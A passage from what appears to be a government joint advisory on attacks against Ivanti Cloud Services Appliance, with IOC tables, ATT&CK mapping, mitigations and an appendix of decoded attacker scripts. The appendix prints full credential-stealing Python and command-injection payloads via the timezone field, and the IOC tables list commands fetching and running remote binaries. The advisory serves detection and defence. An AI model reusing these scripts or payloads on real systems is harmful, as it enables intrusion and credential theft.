After inserting valid bash code as a user in the user_info table, the threat actors attempted to login as the user. The authoring agencies believe the threat actors knew this login would fail but were attempting to coerce the application into handling the bash code improperly. In this attempt, the application did not evaluate the validity of the login, but instead ran echo -n TnNhV1Z1ZEM5b1pXeHdMbk>>./k as if it were code. The threat actors repeated the process of echo commands until they built a valid web shell [T1059]. However, there were no observations that the threat actors were successful.

Detection of Activity

According to incident response data from three victim organizations, the actors were unsuccessful with follow-on activity due to the organizations’ rapid detection of the malicious activity. To remediate exploitation, all three organizations replaced the virtual machines with clean and upgraded versions.

Victim Organization 1

The first organization detected malicious activity early in the exploitation. A system administrator detected the anomalous creation of user accounts. After investigation, the organization remediated the incident. While it is likely admin credentials were exfiltrated, there were no signs of lateral movement.

Victim Organization 2

This organization had an endpoint protection platform (EPP) installed on their system that alerted when the threat actors executed base64 encoded script to create webshells. There were no indications of webshells successfully being created or of lateral movement.

Victim Organization 3

This organization leveraged the IOC findings from the other two victim sites to quickly detect malicious activity. This threat activity included the download and deployment of Obelisk and GoGo Scanner, which generated a large number of logs. The organization used these logs to identify anomalous activity.

Indicators of Compromise

See Table 1 through Table 3 for IOCs related to the threat actors’ exploitation of CVE-2024-8963, CVE-2024-8190, CVE-2024-9379, and CVE-2024-9380 in Ivanti CSA.

Disclaimer: Some IP addresses in this cybersecurity advisory may be associated with legitimate activity. Organizations are encouraged to investigate the activity around these IP addresses prior to taking action, such as blocking. Activity should not be attributed as malicious without analytical evidence to support they are used at the direction of, or controlled by, threat actors.

Table 1: IP Address Used for Credential Theft, September 2024

File Name	IP Address	Description
"/client/index.php%3f.php/gsb/datetime.php	142.171.217[.]195	/var/log/messages
"/client/index.php%3f.php/gsb/datetime.php	154.64.226[.]166	/var/log/messages-20240904.gz
"/client/index.php%3f.php/gsb/datetime.php	216.131.75[.]53
"/client/index.php%3f.php/gsb/datetime.php	23.236.66[.]97	/var/log/messages-20240905.gz
"/client/index.php%3f.php/gsb/datetime.php	38.207.159[.]76	/var/log/messages-20240906.gz

Table 2: Survey 2, Ivanti CSA Network IOC List, September 2024

File Name	IP Address	Description
	149.154.167[.]41
	95.161.76[.]100
hxxps://file.io/E50vtqmJP5aa
hxxps://file.io/RBKuU8gicWt
hxxps://file.io/frdZ9L18R7Nx
hxxp://ip.sb
hxxps://pan.xj.hk/d/ 6401646e701f5f47518ecef48a308a36/redis
	142.171.217[.]195
	108.174.199[.]200
	206.189.156[.]69
	108.174.199[.]200/Xa27efd2.tmp
	142.171.217[.]195

Table 3: Additional IOCs Derived from Incident Response, September 2024

Type	IOC	Description
Ipv4	107.173.89[.]16
Ipv4	38.207.159[.]76
Ipv4	142.171.217[.]195
Ipv4	154.64.226[.]166
Ipv4	156.234.193[.]18
Ipv4	216.131.75[.]53
Ipv4	205.169.39[.]11
Ipv4	23.236.66[.]97
Ipv4	149.154.176[.]41
Ipv4	95.161.76[.]100
Ipv4	142.171.217[.]195
Ipv4	108.174.199[.]200
Ipv4	206.189.156[.]69
Ipv4	142.171.217[.]195
Ipv4	67.217.228[.]83
Ipv4	203.160.72[.]174
Ipv4	142.11.217[.]3
Ipv4	104.168.133[.]228
Ipv4	64.176.49[.]160
Ipv4	45.141.215[.]17
Ipv4	142.171.217[.]195
Ipv4	98.101.25[.]30
Ipv4	216.131.75[.]53
Ipv4	134.195.90[.]71
Ipv4	23.236.66[.]97
Hash	a50660fb31df96b3328640fdfbeea755
Hash	53c5b7d124f13039eb62409e1ec2089d
Hash	698a752ec1ca43237cb1dc791700afde
Hash	aa69300617faab4eb39b789ebfeb5abe
Hash	c2becc553b96ba27d60265d07ec3bd6c
Hash	cacc30e2a5b2683e19e45dc4f191cebc	/opt/ivanti/csa/broker/webroot/client/help.php
Hash	061e5946c9595e560d64d5a8c65be49e	/opt/landesk/broker/webroot/gsb/view.php
Hash	e35cf026057a3729387b7ecfb213ae 62a611f0f1a418876b11c9df3b56885bed	/tmp/brokerdebug
Hash	c7d20ca6fe596009afaeb725fec8635f	/opt/landesk/broker/webroot/gsb/help.php
Hash	F7F81AE880A17975F60E1E0FE1A4048B	/opt/landesk/broker/webroot/gsb/DateTimeTab.php
Hash	86B62FFD33597FD635E01B95F08BB996	/opt/landesk/broker/webroot/gsb/style.php
Hash	DD975310201079CACD4CDE6FACAB8C1D	/opt/landesk/broker/webroot/client/index.php
Hash	1B20E9310CA815F9E2BD366FB94E147F	/sbin/systemd   Configuration file at /WpService.conf
Hash	30f57e14596f1bcad7cc4284d1af4684	/sbin/systemd  Configuration file at /WpService.conf
URL	hxxps://file.io/E50vtqmJP5aa
URL	hxxps://file.io/RBKuU8gicWt
URL	hxxps://file.io/frdZ9L18R7Nx
URL	hxxp://ip.sb
URL	hxxps://pan.xj.hk/d/ 6401646e701f5f47518ecef48a308a36/redis
URL	108.174.199.200/Xa27efd2.tmp
URL	45.33.101.53/log
URL	45.33.101.53/log2
URL	208.184.237.75/fdsupdate
URL	173.243.138.76/fdsupdate
URL	cri07nnrg958pkh6qhk0977u8c83jog6t.oast[.]fun
URL	cri07nnrg958pkh6qhk0yrgy1e76p1od6.oast[.]fun
domain	gg.oyr2ohrm.eyes[.]sh
domain	ggg.oyr2ohrm.eyes[.]sh
domain	gggg.oyr2ohrm.eyes[.]sh
domain	txt.xj[.]hk
domain	book.hacktricks[.]xyz
host	sh -c setsid /dev/shm/redis &
host	sh -c curl -k https://file[.]io/1zqvMYY1dpkk -o /dev/shm/redis2
host	sh -c mv /dev/shm/redis2 /dev/shm/redis
host	sh -c rm /dev/shm/*
host	rm /dev/shm/PostgreSQL.1014868572 /dev/shm/redis
host	78cc672218949a9ec87407ad3bcb5db6	Agent.zip
host	d13f71e51b38ffef6b9dc8efbed27615	Log.log
host	d88bfac2b43509abdc70308bef75e2a6	Log.exe
host	R.exe (MD5: 60d5648d35bacf5c7aa713b2a0d267d3)	R.exe
host	ae51c891d2e895b5ca919d14edd42c26	CAService.exe
host	d88bfac2b43509abdc70308bef75e2a6	Lgfxsys.exe
host	f82847bccb621e6822a3947bc9ce9621	NetlO.cfg
host	c894f55c8fa9d92e2dd2c78172cff745	XboVFyKw.tmp
host	MD5: Unknown	Wi.bat
host	MD5: Unknown	dCUgGXfm.tmp
host	MD5: Unknown	DijZViHC.tmp
CrowdStrike Falcon	e09fef2f502a41c199046219a6584e8d	CrowdStrike falcon cid
/var/secure log	nobody : user NOT in sudoers ; TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/ln -sf
/var/secure log	nobody : user NOT in sudoers ; TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/bin/mv /tmp/php.ini /etc/php.ini
/var/secure log	nobody : user NOT in sudoers ; TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/sbin/hwclock --localtime --systohc
/var/secure log	nobody : user NOT in sudoers ; TTY=unknown ; PWD=/opt/landesk/broker/webroot/gsb ; USER=root ; COMMAND=/subin/backuptool --fullList
Ipv4	142.171.217[.]195
Ipv4	107.173.89[.]16
Ipv4	192.42.116[.]210
Ipv4	82.197.182[.]161
Ipv4	154.213.185[.]230
Ipv4	216.131.75[.]53
Ipv4	23.236.66[.]97
Ipv4	208.105.190[.]170
Ipv4	136.144.17[.]145
Ipv4	136.144.17[.]133
Ipv4	216.73.162[.]56
Ipv4	104.28.240[.]123
Ipv4	163.5.171[.]49
Ipv4	89.187.178[.]179
Ipv4	163.5.171[.]49
Ipv4	203.160.86[.]69
Ipv4	185.220.69[.]83
Ipv4	185.199.103[.]196
Ipv4	188.172.229[.]15
Ipv4	155.138.215[.]144
Ipv4	64.176.49[.]160
Ipv4	185.40.4[.]38
Ipv4	216.131[.]75.53
Ipv4	185.40.4[.]95

MITRE ATT&CK Tactics and Techniques

See Table 4 to Table 13 for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Table 4: Reconnaissance

Technique Title	ID	Use
Active Scanning: Vulnerability Scanning	T1595.002	Threat actors performed reconnaissance by using Obelisk and GoGo to scan for vulnerabilities.

Table 5: Initial Access

Technique Title	ID	Use
Exploit Public-Facing Application	T1190	Threat actors leveraged weaknesses in applications that are not properly handled to compromise network device protocols, perform SQL injections, and generally exploit applications.

Table 6: Execution

Technique Title	ID	Use
Command and Scripting Interpreter	T1059	Threat actors abused command and script interpreters to execute commands, scripts, or binaries.

Table 7: Persistence

Technique Title	ID	Use
Modify Authentication Process	T1556	Threat actors executed an authentication bypass by exploiting the authentication mechanisms of a device to gain access to organizations’ networks.
Server Software Component: Web Shell	T1505.003	Threat actors executed code to implant webshells for persistence.

Table 8: Privilege Escalation

Technique Title	ID	Use
Exploitation for Privilege Escalation	T1068	Threat actors leveraged weaknesses to gain access via an outdated, vulnerable version of a server.

Table 9: Defense Evasion

Technique Title	ID	Use
Hide Artifacts: Hidden Users	T1564.002	Threat actors acted as a hidden user to disguise their presence on a system.
Deobfuscate/Decode Files or Information	T1140	Threat actors decrypted credentials prior to exfiltration by leveraging native tools located in the extracted backup file.
Abuse Elevation Control Mechanism: Sudo and Sudo Caching	T1548.003	Threat actors used sudo commands to disable vulnerabilities, modify and remove webshells, and remove evidence of exploitation.

Table 10: Credential Access

Technique Title	ID	Use
Unsecured Credentials: Credentials in Files	T1552.001	Threat actors harvested encrypted admin credentials to gain further access.

Table 11: Lateral Movement

Technique Title	ID	Use
Exploitation of Remove Services	T1210	Threat actors exploited CSAs via remote services to gain access to an organization’s networks by leveraging programming errors, EOL systems, and operating systems.

Table 12: Command and Control

Technique Title	ID	Use
Remote Access Software	T1219	Threat actors attempted to remotely authenticate into a victim’s network and execute arbitrary commands on the appliance.
Application Layer: Web Protocol	T1071.001	Threat actors used tools such as GET or POST requests to acquire session and CSRF tokens.

Table 13: Exfiltration

Technique Title	ID	Use
Exfiltration	TA0010	Threat actors exfiltrated encrypted admin credentials or other encrypted data for future use.

Incident Response

If compromise is detected, the authoring agencies recommend that organizations:

1. Quarantine or take offline potentially affected hosts.
2. Reimage compromised hosts.
3. Provision new account credentials.
4. For Ivanti hosts with Active Directory (AD) access, threat actors can trivially export active domain administrator credentials during initial compromise. Until there is evidence to the contrary, it is assumed that AD access on compromised systems is connected to external authentication systems such as Lightweight Directory Access Protocol and AD.
5. Collect and review artifacts such as running processes/services, unusual authentications, and recent network connections.
   Note: Removing malicious administrator accounts may not fully mitigate risk considering threat actors may have established additional persistence mechanisms.
6. Report the compromise to CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 888-282-0870).

Mitigations

CISA and FBI recommend organizations: 

• Upgrade to the latest supported version of Ivanti CSA immediately for continued support.[3] Please note that Ivanti CSA 4.6 is EOL and no longer receives patches or third-party libraries. Customers must upgrade to the latest version of the product for continued support.
• Install endpoint detection and response (EDR) on the system to alert network defenders on unusual and potentially malicious activity.
• Establish a baseline and maintain detailed logs of network traffic, account behavior, and software. This can assist network defenders in identifying anomalies that may indicate malicious activity more quickly.
• Keep all operating systems, software, and firmware up to date. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Organizations should patch vulnerable software and hardware systems within 24 to 48 hours of vulnerability disclosure. Prioritize patching known exploited vulnerabilities in internet-facing systems [CPG 1.E].
• Secure remote access tools by:
  • Implementing application controls to manage and control software execution, including allowlisting remote access programs. Application controls should prevent installation and execution of portable versions of unauthorized remote access and other software. A properly configured application allowlisting solution will block any unlisted application execution. Allowlisting is important because antivirus solutions may fail to detect the execution of malicious portable executables when the files use any combination of compression, encryption, or obfuscation.
• Strictly limit the use of remote desktop protocol (RDP) and other remote desktop services. If RDP is necessary, rigorously apply best practices, for example [CPG 2.W]:
• Configure the Windows Registry to require User Account Control (UAC) approval for any PsExec operations requiring administrator privileges to reduce the risk of lateral movement by PsExec.
• Follow best cybersecurity practices in your production and enterprise environments,including mandating phishing-resistant multifactor authentication (MFA) for all staff and services. For additional best practices, see CISA’s Cross-Sector Cybersecurity Performance Goals (CPGs). The CPGs, developed by CISA and the National Institute of Standards and Technology (NIST), are a prioritized subset of IT and OT security practices that can meaningfully reduce the likelihood and impact of known cyber risks and common tactics, techniques, and procedures. Because the CPGs are a subset of best practices, CISA and FBI also recommend software manufacturers implement a comprehensive information security program based on a recognized framework, such as the NIST Cybersecurity Framework (CSF).

Validate Security Controls

In addition to applying mitigations, CISA and FBI recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. CISA and FBI recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

1. Select an ATT&CK technique described in this advisory (see Table 4 through Table 13).
2. Align your security technologies against the technique.
3. Test your technologies against the technique.
4. Analyze your detection and prevention technologies’ performance.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

CISA and FBI recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

References

1. Ivanti: Security Advisory Ivanti CSA (Cloud Services Application) (CVE-2024-9379, CVE-2024-9380, CVE-2024-9381)
2. Ivanti: Security Advisory Ivanti Cloud Service Appliance (CSA) (CVE-2024-8190)
3. Ivanti: Security Advisory Ivanti CSA 4.6 (Cloud Services Appliance) (CVE-2024-8963)
4. Fortinet: Burning Zero Days: Suspected Nation-State Adversary Targets Ivanti CSA

Contact Information

Organizations are encouraged to report suspicious or criminal activity related to information in this advisory to:

• CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 888-282-0870) or your local FBI field office. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.

Disclaimer

The information in this report is being provided “as is” for informational purposes only. CISA and FBI do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA and FBI.

Version History

January 22, 2025: Initial version.

Appendix A: Encoded and Decoded Scripts

Decoded Python Scripts

{ import os, re, base64, time os.chdir("/tmp") d = "/backups" def set_msg(p, t='', m=''):    if t and m:        msg = 'AA{}:{}BB'.format(t, base64.b64encode(m.encode()).decode())    else:        msg = ''    os.system('''export PGPASSWORD={};echo "update user_info set organization='{}' where username='admin'"|psql -d brokerdb -U gsbadmin'''.format(p, msg)) try:    r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime) except:    r = None with open("/opt/landesk/broker/broker.conf") as f:    dbpwd = re.findall("PGSQL_PW=(.*)", f.read())[0] if r:    p = os.popen("export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=\'admin'\' | psql -d brokerdb -U gsbadmin -h localhost".format(dbpwd)).read().split("n")[-4].strip().split(':')    os.system("tar zxvf {}".format(r))    while True:        for f in os.listdir('.'):            if re.match("phpw{6}", f):                os.chmod(f, 0o777)                m = os.popen("./{} {} {} {} root/.certs/{}.key {}".format(f, p[4], p[5], p[6], p[1], p[1])).read().strip()                if m:                    set_msg(dbpwd, "PASSWORD", m)                    time.sleep(30)                    set_msg(dbpwd)                    exit() else:    set_msg(dbpwd, 'ERROR', 'NO BACKUP') }

{ import os, re, base64, time os.chdir("/tmp") d = "/backups" def set_msg(p, t='', m=''):    if t and m:        msg = 'AA{}:{}BB'.format(t, base64.b64encode(m.encode()).decode())    else:        msg = ''    os.system('''export PGPASSWORD={};echo "update user_info set organization='{}' where username='service'"|psql -d brokerdb -U gsbadmin'''.format(p, msg)) try:    r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime) except:    r = None with open("/opt/landesk/broker/broker.conf") as f:    dbpwd = re.findall("PGSQL_PW=(.*)", f.read())[0] if r:    p = os.popen("export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=\'service'\' | psql -d brokerdb -U gsbadmin -h localhost".format(dbpwd)).read().split("n")[-4].strip().split(':')    os.system("tar zxvf {}".format(r))    while True:        for f in os.listdir('.'):            if re.match("phpw{6}", f):                os.chmod(f, 0o777)                m = os.popen("./{} {} {} {} root/.certs/{}.key {}".format(f, p[4], p[5], p[6], p[1], p[1])).read().strip()                if m:                    set_msg(dbpwd, "PASSWORD", m)                    time.sleep(30)                    set_msg(dbpwd)                    exit() else:    set_msg(dbpwd, 'ERROR', 'NO BACKUP') }

import os, re, base64, time os.chdir("/tmp") d = "/backups" def set_msg(p, t='', m=''):    if t and m:        msg = 'AA{}:{}BB'.format(t, base64.b64encode(m.encode()).decode())    else:        msg = ''    os.system('''export PGPASSWORD={};echo "update user_info set organization='{}' where username='admin'"|psql -d brokerdb -U gsbadmin'''.format(p, msg)) try:    r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime) except:    r = None with open("/opt/landesk/broker/broker.conf") as f:    dbpwd = re.findall("PGSQL_PW=(.*)", f.read())[0] if r:    p = os.popen("export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=\'admin\' | psql -d brokerdb -U gsbadmin -h localhost".format(dbpwd)).read().split("n")[-4].strip().split(':')    os.system("tar zxvf {}".format(r))    while True:        for f in os.listdir('.'):            if re.match("phpw{6}", f):                os.chmod(f, 0o777)                m = os.popen("./{} {} {} {} root/.certs/{}.key {}".format(f, p[4], p[5], p[6], p[1], p[1])).read().strip()                if m:                    set_msg(dbpwd, "PASSWORD", m)                    time.sleep(30)                    set_msg(dbpwd)                    exit() else:    set_msg(dbpwd, 'ERROR', 'NO BACKUP')

import os, re, base64, time os.chdir("/tmp") d = "/backups" def set_msg(p, t='', m=''):    if t and m:        msg = 'AA{}:{}BB'.format(t, base64.b64encode(m.encode()).decode())    else:        msg = ''    os.system('''export PGPASSWORD={};echo "update user_info set organization='{}' where username='admin'"|psql -d brokerdb -U gsbadmin'''.format(p, msg)) try:    r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime) except:    r = None with open("/opt/landesk/broker/broker.conf") as f:    dbpwd = re.findall("PGSQL_PW=(.*)", f.read())[0] if r:    p = os.popen("export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=\'admin\' | psql -d brokerdb -U gsbadmin -h localhost".format(dbpwd)).read().split("n")[-4].strip().split(':')    os.system("tar zxvf {}".format(r))    while True:        for f in os.listdir('.'):            if re.match("phpw{6}", f):                os.chmod(f, 0o777)                m = os.popen("./{} {} {} {} root/.certs/{}.key {}".format(f, p[4], p[5], p[6], p[1], p[1])).read().strip()                if m:                    set_msg(dbpwd, "PASSWORD", m)                    time.sleep(30)                    set_msg(dbpwd)                    exit() else:    set_msg(dbpwd, 'ERROR', 'NO BACKUP')

{ import os, re, base64, time os.chdir("/tmp") d = "/backups" def set_msg(p, t='', m=''):    if t and m:        msg = 'AA{}:{}BB'.format(t, base64.b64encode(m.encode()).decode())    else:        msg = ''    os.system('''export PGPASSWORD={};echo "update user_info set organization='{}',lockoutalert=0,attempts=0 where username='admin'"|psql -d brokerdb -U gsbadmin'''.format(p, msg)) with open("/opt/landesk/broker/broker.conf") as f:    dbpwd = re.findall("PGSQL_PW=(.*)", f.read())[0]    p = os.popen("export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=\'admin\' | psql -d brokerdb -U gsbadmin -h localhost".format(dbpwd)).read().split("n")[-4].strip()    v = p.split(':')    k = os.popen('base 64 -w0 root/.certs/{}.key'.format(v[1])).read()    set_msg(dbpwd, "PASSWORD", p+'||'+k)    time.sleep(30)    set_msg(dbpwd) }

{ import os, re, base64, time def set_msg(p, t='', m=''):    if t and m:        msg = 'AA{}:{}BB'.format(t, base64.b64encode(m.encode()).decode())    else:        msg = ''    os.system('''export PGPASSWORD={};echo "update user_info set organization='{}',lockoutalert=0 where username='admin'"|psql -d brokerdb -U gsbadmin'''.format(p, msg)) os.chdir("/tmp") d = "/backups" try:    r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime) except:    r = None with open("/opt/landesk/broker/broker.conf") as f:    dbpwd = re.findall("PGSQL_PW=(.*)", f.read())[0]    os.system('''export PGPASSWORD={};echo "delete from user_info where runas='Nobody'"|psql -d brokerdb -U gsbadmin'''.format(dbpwd))    if r:        p = os.popen("export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=\'admin\' | psql -d brokerdb -U gsbadmin -h localhost".format(dbpwd)).read().split("n")[-4].strip().split(':')        os.system("tar zxvf {}".format(r))        while True:            for f in os.listdir('.'):                if re.match("phpw{6}", f):                    os.chmod(f, 0o777)                    m = os.popen("./{} '{}' '{}' '{}' root/.certs/{}.key {}".format(f, p[4], p[5], p[6], p[1], p[1])).read().strip()                    if m:                        set_msg(dbpwd, "PASSWORD", m)                        time.sleep(30)                        set_msg(dbpwd)                        exit()    else:        set_msg(dbpwd, 'ERROR', 'NO BACKUP') }

{ import os, re, base64, time os.chdir("/tmp") d = "/backups" def set_msg(p, t='', m=''):    if t and m:        msg = 'AA{}:{}BB'.format(t, base64.b64encode(m.encode()).decode())    else:        msg = ''    os.system('''export PGPASSWORD={};echo "update user_info set organization='{}' where username='admin'"|psql -d brokerdb -U gsbadmin'''.format(p, msg)) try:    r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime) except:    r = None with open("/opt/landesk/broker/broker.conf") as f:    dbpwd = re.findall("PGSQL_PW=(.*)", f.read())[0]    os.system('''export PGPASSWORD={};echo "delete from user_info where runas='Nobody'"|psql -d brokerdb -U gsbadmin'''.format(dbpwd)) if r:    p = os.popen("export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=\'admin\' | psql -d brokerdb -U gsbadmin -h localhost".format(dbpwd)).read().split("n")[-4].strip().split(':')    os.system("tar zxvf {}".format(r))    while True:        for f in os.listdir('.'):            if re.match("phpw{6}", f):                os.chmod(f, 0o777)                m = os.popen("./{} {} {} {} root/.certs/{}.key {}".format(f, p[4], p[5], p[6], p[1], p[1])).read().strip()                if m:                    set_msg(dbpwd, "PASSWORD", m)                    time.sleep(30)                    set_msg(dbpwd)                    exit() else:    set_msg(dbpwd, 'ERROR', 'NO BACKUP') }

Decoded datetime.php 'timezone' Exploit base64 Scripts

{ Sep  5 01:09:59 REDACTED gsb[996]: /etc/php.ini rewritten with new timezone: ';export PGPASSWORD=`cat /opt/landesk/broker/broker.conf | grep PGSQL_PW | cut -d '=' -f2-`;echo  "update user_info set organization='||/usr/bin/echo import os, re, base64, time os.chdir("/tmp") d = "/backups" def set_msg(p, t='', m=''):   if t and m:       msg = 'AA{}:{}BB'.format(t, base64.b64encode(m.encode()).decode())   else:       msg = ''   os.system('''export PGPASSWORD={};echo "update user_info set organization='{}' where username='admin'"|psql -d brokerdb -U gsbadmin'''.format(p, msg)) try:   r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime) except:   r = None with open("/opt/landesk/broker/broker.conf") as f:   dbpwd = re.findall("PGSQL_PW=(.*)", f.read ())[0] if r:   p = os.popen("export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=\'admin\' | psql -d brokerdb -U gsbadmin -h localhost".format(dbpwd)).read().split("n")[-4].strip().split(':')   os.system("tar zxvf {}".format(r))   while True:       for f in os.listdir('.'):           if re.match("phpw{6}", f):               os.chmod(f, 0o777)               m = os.popen("./{} {} {} {} root/.certs/{}.key {}".format(f, p[4], p[5], p[6], p[1], p[1])).read().strip()               if m:                   set_msg(dbpwd, "PASSWORD", m)                   time.sleep(30)                   set_msg(dbpwd)                   exit() else:   set_msg(dbpwd, 'ERROR', 'NO BACKUP') | /usr/bin/base64 -d | python||' where username='admin'"|psql -d brokerdb -U gsbadmin;' (1) }

{ Sep  5 01:47:01 REDACTED gsb[2599]: /etc/php.ini rewritten with new timezone: ';/usr/bin/echo  import os, re, base64, time os.chdir("/tmp") d = "/backups" def set_msg(p, t='', m=''):   if t and m:       msg = 'AA{}:{}BB'.format(t, base64.b64encode(m.encode()).decode())   else:       msg = ''   os.system('''export PGPASSWORD={};echo "update user_info set organization='{}' where username='admin'"|psql -d brokerdb -U gsbadmin'''.format(p, msg)) try:   r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime) except:   r = None with open("/opt/landesk/broker/broker.conf") as f:   dbpwd = re.findall("PGSQL_PW=(.*)", f.read ())[0] if r:   p = os.popen("export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=\'admin\' | psql -d brokerdb -U gsbadmin -h localhost".format(dbpwd)).read().split("n")[-4].strip().split(':')   os.system("tar zxvf {}".format(r))   while True:       for f in os.listdir('.'):           if re.match("phpw{6}", f):               os.chmod(f, 0o777)               m = os.popen("./{} {} {} {} root/.certs/{}.key {}".format(f, p[4], p[5], p[6], p[1], p[1])).read().strip()               if m:                   set_msg(dbpwd, "PASSWORD", m)                   time.sleep(30)                   set_msg(dbpwd)                   exit() else:   set_msg(dbpwd, 'ERROR', 'NO BACKUP')   | /usr/bin/base64 -d | python;' (1) }

{ Sep  5 02:14:08 REDACTED gsb[1273]: /etc/php.ini rewritten with new timezone: ';export PGPASSWORD=`cat /opt/landesk/broker/broker.conf | grep PGSQL_PW | cut -d '=' -f2-`;echo  "update user_info set organization='||/usr/bin/echo import os, re, base64, time os.chdir("/tmp") d = "/backups" def set_msg(p, t='', m=''):   if t and m:       msg = 'AA{}:{}BB'.format(t, base64.b64encode(m.encode()).decode())   else:       msg = ''   os.system('''export PGPASSWORD={};echo "update user_info set organization='{}' where username='admin'"|psql -d brokerdb -U gsbadmin'''.format(p, msg)) try:   r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime) except:   r = None with open("/opt/landesk/broker/broker.conf") as f:   dbpwd = re.findall("PGSQL_PW=(.*)", f.read ())[0] if r:   p = os.popen("export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=\'admin\' | psql -d brokerdb -U gsbadmin -h localhost".format(dbpwd)).read().split("n")[-4].strip().split(':')   os.system("tar zxvf {}".format(r))   while True:       for f in os.listdir('.'):           if re.match("phpw{6}", f):               os.chmod(f, 0o777)               m = os.popen("./{} {} {} {} root/.certs/{}.key {}".format(f, p[4], p[5], p[6], p[1], p[1])).read().strip()               if m:                   set_msg(dbpwd, "PASSWORD", m)                   time.sleep(30)                   set_msg(dbpwd)                   exit() else:   set_msg(dbpwd, 'ERROR', 'NO BACKUP') | /usr/bin/base64 -d | python||' where username='admin'"|psql -d brokerdb -U gsbadmin;' (1) }

{ Sep  5 22:22:06 REDACTED gsb[9367]: /etc/php.ini rewritten with new timezone: ';export PGPASSWORD=`cat /opt/landesk/broker/broker.conf | grep PGSQL_PW | cut -d '=' -f2-`;echo  "update user_info set organization='||/usr/bin/echo import os, re, base64, time os.chdir("/tmp") d = "/backups" def set_msg(p, t='', m=''):   if t and m:       msg = 'AA{}:{}BB'.format(t, base64.b64encode(m.encode()).decode())   else:       msg = ''   os.system('''export PGPASSWORD={};echo "update user_info set organization='{}' where username='admin'"|psql -d brokerdb -U gsbadmin'''.format(p, msg)) try:   r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime) except:   r = None with open("/opt/landesk/broker/broker.conf") as f:   dbpwd = re.findall("PGSQL_PW=(.*)", f.read ())[0] if r:   p = os.popen("export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=\'admin\' | psql -d brokerdb -U gsbadmin -h localhost".format(dbpwd)).read().split("n")[-4].strip().split(':')   os.system("tar zxvf {}".format(r))   while True:       for f in os.listdir('.'):           if re.match("phpw{6}", f):               os.chmod(f, 0o777)               m = os.popen("./{} {} {} {} root/.certs/{}.key {}".format(f, p[4], p[5], p[6], p[1], p[1])).read().strip()               if m:                   set_msg(dbpwd, "PASSWORD", m)                   time.sleep(30)                   set_msg(dbpwd)                   exit() else:   set_msg(dbpwd, 'ERROR', 'NO BACKUP') | /usr/bin/base64 -d | python||' where username='admin'"|psql -d brokerdb -U gsbadmin;' (1) }

{ Sep  6 02:39:11 REDACTED gsb[21266]: /etc/php.ini rewritten with new timezone: ';/usr/bin/echo  import os, re, base64, time os.chdir("/tmp") d = "/backups" def set_msg(p, t='', m=''):   if t and m:       msg = 'AA{}:{}BB'.format(t, base64.b64encode(m.encode()).decode())   else:       msg = ''   os.system('''export PGPASSWORD={};echo "update user_info set organization='{}' where username='admin'"|psql -d brokerdb -U gsbadmin'''.format(p, msg)) try:   r = max([os.path.join(d, f) for f in os.listdir(d) if os.path.isfile(os.path.join(d, f))], key=os.path.getmtime) except:   r = None with open("/opt/landesk/broker/broker.conf") as f:   dbpwd = re.findall("PGSQL_PW=(.*)", f.read ())[0] if r:   p = os.popen("export PGPASSWORD={};echo SELECT passwd FROM user_info WHERE username=\'admin\' | psql -d brokerdb -U gsbadmin -h localhost".format(dbpwd)).read().split("n")[-4].strip().split(':')   os.system("tar zxvf {}".format(r))   while True:       for f in os.listdir('.'):           if re.match("phpw{6}", f):               os.chmod(f, 0o777)               m = os.popen("./{} {} {} {} root/.certs/{}.key {}".format(f, p[4], p[5], p[6], p[1], p[1])).read().strip()               if m:                   set_msg(dbpwd, "PASSWORD", m)                   time.sleep(30)                   set_msg(dbpwd)                   exit() else:   set_msg(dbpwd, 'ERROR', 'NO BACKUP')   | /usr/bin/base64 -d | python;' (1) }

